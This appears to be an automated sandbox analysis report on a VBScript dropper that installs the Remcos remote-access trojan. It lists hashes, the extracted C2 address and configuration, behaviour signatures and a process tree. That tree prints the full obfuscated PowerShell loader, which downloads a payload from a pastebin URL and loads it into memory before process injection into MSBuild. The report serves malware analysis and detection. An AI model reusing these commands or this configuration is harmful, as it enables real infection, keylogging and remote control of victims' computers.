Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
04/11/2024, 06:07
Static task
static1
Behavioral task
behavioral1
Sample
segura.vbs
Resource
win7-20240903-en
8 signatures
150 seconds
General
- Target segura.vbs
- Size 28.3MB
- Sample241104-gvcpgavhra
- SHA256 449cfb586898cdc0e432940983eca397fe1fb06d83bc87d51a8ee6a3f5eaa062
- MD5 340fe82604343fbd2eacab0413ea39aa
- SHA1 367976849a712368f696363522560b8cb12c50f3
- SHA512 03f725730fcbfbeb9c7ec7afbb098866ae6c3ac2f2030559eb5b08531e0fefd216b69af0af7534d106ba6d71df780cedb2ea5af5268c0cfc0043558f046b324b
- SSDEEP 96:Zjjjjjjjjjjjjjjjjjvjjjjjjjjjjjjjjjjjwjjjjjjjjjjjjjjjjjvjjjjjjjj+:kJvvK6/OkFpbN0RwdU+08eCntFwtcPcb
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
https://pastebin.com/raw/J6uRjZrv
Extracted
Family
-
remcos
Botnet
-
Tar2
C2
-
21oct.duckdns.org:2404
Attributes
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-BN9MOJ
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Remcos family
- Blocklisted process makes network request 6 IoCs
flow pid Process 9 3464 powershell.exe 31 2068 powershell.exe 33 2068 powershell.exe 36 3464 powershell.exe 38 3464 powershell.exe 41 3464 powershell.exe -
pid Process 3464 powershell.exe 4996 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation WScript.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
flow ioc 8 pastebin.com 9 pastebin.com 30 bitbucket.org 31 bitbucket.org 36 bitbucket.org - Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3464 set thread context of 2924 3464 powershell.exe 104 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 632 PING.EXE - Runs ping.exe 1 TTPs 1 IoCs
pid Process 632 PING.EXE - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4996 powershell.exe 4996 powershell.exe 3464 powershell.exe 3464 powershell.exe 2068 powershell.exe 2068 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4996 powershell.exe Token: SeDebugPrivilege 3464 powershell.exe Token: SeDebugPrivilege 2068 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2924 MSBuild.exe - Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 3948 wrote to memory of 4996 3948 WScript.exe 85 PID 3948 wrote to memory of 4996 3948 WScript.exe 85 PID 4996 wrote to memory of 3464 4996 powershell.exe 87 PID 4996 wrote to memory of 3464 4996 powershell.exe 87 PID 3464 wrote to memory of 3552 3464 powershell.exe 90 PID 3464 wrote to memory of 3552 3464 powershell.exe 90 PID 3464 wrote to memory of 632 3464 powershell.exe 91 PID 3464 wrote to memory of 632 3464 powershell.exe 91 PID 3464 wrote to memory of 2068 3464 powershell.exe 96 PID 3464 wrote to memory of 2068 3464 powershell.exe 96 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104 PID 3464 wrote to memory of 2924 3464 powershell.exe 104
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\segura.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3948 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹EM☹QwBS☹Gg☹bQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹cw☹6☹C8☹LwBw☹GE☹cwB0☹GU☹YgBp☹G4☹LgBj☹G8☹bQ☹v☹HI☹YQB3☹C8☹Sg☹2☹HU☹UgBq☹Fo☹cgB2☹Cc☹I☹☹7☹CQ☹Zg☹g☹D0☹I☹☹o☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DE☹LgB0☹Hg☹d☹☹n☹Ck☹I☹☹7☹Ek☹bgB2☹G8☹awBl☹C0☹VwBl☹GI☹UgBl☹HE☹dQBl☹HM☹d☹☹g☹C0☹VQBS☹Ek☹I☹☹k☹EM☹QwBS☹Gg☹bQ☹g☹C0☹TwB1☹HQ☹RgBp☹Gw☹ZQ☹g☹CQ☹Zg☹g☹C0☹VQBz☹GU☹QgBh☹HM☹aQBj☹F☹☹YQBy☹HM☹aQBu☹Gc☹I☹☹7☹GM☹bQBk☹C4☹ZQB4☹GU☹I☹☹v☹GM☹I☹☹7☹H☹☹aQBu☹Gc☹I☹☹x☹DI☹Nw☹u☹D☹☹Lg☹w☹C4☹MQ☹g☹Ds☹c☹Bv☹Hc☹ZQBy☹HM☹a☹Bl☹Gw☹b☹☹u☹GU☹e☹Bl☹C☹☹LQBj☹G8☹bQBt☹GE☹bgBk☹C☹☹ew☹k☹GY☹I☹☹9☹C☹☹K☹Bb☹FM☹eQBz☹HQ☹ZQBt☹C4☹SQBP☹C4☹U☹Bh☹HQ☹a☹Bd☹Do☹OgBH☹GU☹d☹BU☹GU☹bQBw☹F☹☹YQB0☹Gg☹K☹☹p☹C☹☹Kw☹g☹Cc☹Z☹Bs☹Gw☹M☹☹x☹C4☹d☹B4☹HQ☹Jw☹p☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹SQBu☹HY☹bwBr☹GU☹LQBX☹GU☹YgBS☹GU☹cQB1☹GU☹cwB0☹C☹☹LQBV☹FI☹SQ☹g☹CQ☹UQBQ☹HQ☹YQB2☹C☹☹LQBP☹HU☹d☹BG☹Gk☹b☹Bl☹C☹☹J☹Bm☹C☹☹LQBV☹HM☹ZQBC☹GE☹cwBp☹GM☹U☹Bh☹HI☹cwBp☹G4☹ZwB9☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹J☹Bt☹H☹☹d☹By☹HE☹I☹☹9☹C☹☹Jw☹w☹Cc☹I☹☹7☹CQ☹dQB3☹HI☹ZQBv☹C☹☹PQ☹g☹Cc☹JQBK☹Gs☹UQBh☹HM☹R☹Bm☹Gc☹cgBU☹Gc☹JQ☹n☹C☹☹OwBb☹EI☹eQB0☹GU☹WwBd☹F0☹I☹☹k☹Hc☹YQBq☹HY☹bg☹g☹D0☹I☹Bb☹HM☹eQBz☹HQ☹ZQBt☹C4☹QwBv☹G4☹dgBl☹HI☹d☹Bd☹Do☹OgBG☹HI☹bwBt☹EI☹YQBz☹GU☹Ng☹0☹FM☹d☹By☹Gk☹bgBn☹Cg☹I☹☹k☹FE☹U☹B0☹GE☹dg☹u☹HI☹ZQBw☹Gw☹YQBj☹GU☹K☹☹n☹CQ☹J☹☹n☹Cw☹JwBB☹Cc☹KQ☹g☹Ck☹I☹☹7☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBB☹H☹☹c☹BE☹G8☹bQBh☹Gk☹bgBd☹Do☹OgBD☹HU☹cgBy☹GU☹bgB0☹EQ☹bwBt☹GE☹aQBu☹C4☹T☹Bv☹GE☹Z☹☹o☹CQ☹dwBh☹Go☹dgBu☹Ck☹LgBH☹GU☹d☹BU☹Hk☹c☹Bl☹Cg☹JwBU☹GU☹a☹B1☹Gw☹YwBo☹GU☹cwBY☹Hg☹W☹B4☹Hg☹LgBD☹Gw☹YQBz☹HM☹MQ☹n☹Ck☹LgBH☹GU☹d☹BN☹GU☹d☹Bo☹G8☹Z☹☹o☹Cc☹TQBz☹HE☹QgBJ☹GI☹WQ☹n☹Ck☹LgBJ☹G4☹dgBv☹Gs☹ZQ☹o☹CQ☹bgB1☹Gw☹b☹☹s☹C☹☹WwBv☹GI☹agBl☹GM☹d☹Bb☹F0☹XQ☹g☹Cg☹Jw☹w☹C8☹QQBT☹Es☹O☹☹5☹C8☹Z☹☹v☹GU☹ZQ☹u☹GU☹d☹Bz☹GE☹c☹☹v☹C8☹OgBz☹H☹☹d☹B0☹Gg☹Jw☹g☹Cw☹I☹☹k☹HU☹dwBy☹GU☹bw☹g☹Cw☹I☹☹n☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹Xw☹t☹C0☹LQ☹t☹C0☹LQ☹t☹Cc☹L☹☹g☹CQ☹bQBw☹HQ☹cgBx☹Cw☹I☹☹n☹DE☹Jw☹s☹C☹☹JwBS☹G8☹Z☹Bh☹Cc☹I☹☹p☹Ck☹Ow☹=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\segura.vbs');powershell $Yolopolhggobek;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4996 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/J6uRjZrv' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mptrq = '0' ;$uwreo = 'C:\Users\Admin\AppData\Local\Temp\segura.vbs' ;[Byte[]] $wajvn = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($wajvn).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/ASK89/d/ee.etsap//:sptth' , $uwreo , '____________________________________________-------', $mptrq, '1', 'Roda' ));"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c4⤵PID:3552
-
-
C:\Windows\system32\PING.EXE"C:\Windows\system32\PING.EXE" 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:632
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2068
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2924
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\remcos\logs.dat
- Size 144B
- SHA256 71a3e7198792afd2dc2218a7754dc92f9681fd316b5503012d9fdc90e0b6a2db
- MD5 876a9f6b6e3d8777398780fcb761ce65
- SHA1 885697f2db46640ccc0daaf5c9f9ece217e384b3
- SHA512 f6815a4fa7eeb1afd5bf911daa7fdb87add4cc5913a2f547037c6de451739f86afd9772e6bbf4f384fe1455f880977103cdec57ab9d7ed963846704562c732a9
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
- MD5 223bd4ae02766ddc32e6145fd1a29301
- SHA1 900cfd6526d7e33fb4039a1cc2790ea049bc2c5b
- SHA512 648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 4ae68cf9056fd6e1448aa3b8b35f012ea2745a3a23c56308ba3b39c421eab905
- MD5 f1224bc1865bebec82d960d863c971ae
- SHA1 e80d412cdd86489fffb6a39d7bcde8c461fde367
- SHA512 08f7fbc4ab81bc9b928ef57ec1027589c431325f6be1777fc6996ea77117da234b695b2cf8eb31f9a7cc246b05990562a21a8f149a01b9727ddd4ad23026c04c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
- MD5 5caad758326454b5788ec35315c4c304
- SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
- SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rigz0ywz.4qw.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\dll01.txt
- Size 57B
- SHA256 cdd976e886d1c89734decad2d084c76ee8fcd54a652195114478519af8bcdd18
- MD5 1a215af591b42d73d0254846ebf5ef21
- SHA1 3a8f8d81abcf9c65a62c1bc043e669a6894a0177
- SHA512 df7c33b6bc1953f9c859793d707aec6f2ee8dd03c7ad8e1437f448567961e254f0864cbc363528a30b994c6dff6e9a0d156290432053bb56d55e0da3b3b42ea3
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\dll01.txt
- Size 102KB
- SHA256 c9b5f3f368d8497c092c270328f5ffc136121415190062b5a449ce4ecaec4ecd
- MD5 ed284d77b4400b2bcf8b0abbda2c8f90
- SHA1 c9f8e86ac04eef36be0e46caf815d33afa743756
- SHA512 459808753f7a6f2bdbe145c56ba1f0fa1e7e92afc6fc4b94c3a7c9627598347f73c6e38aeb7ecac2d298ba78e0cdab9792a47ce9d9f36e1b975b857f1a421437
- SSDEEP 1536:0c2ZR/W5kuW7JtKfj5NzcKJSg0cE+myNYe:7k9/uW/Kfj5NwKJSeRee
- MD5 SHA1 SHA512 SSDEEP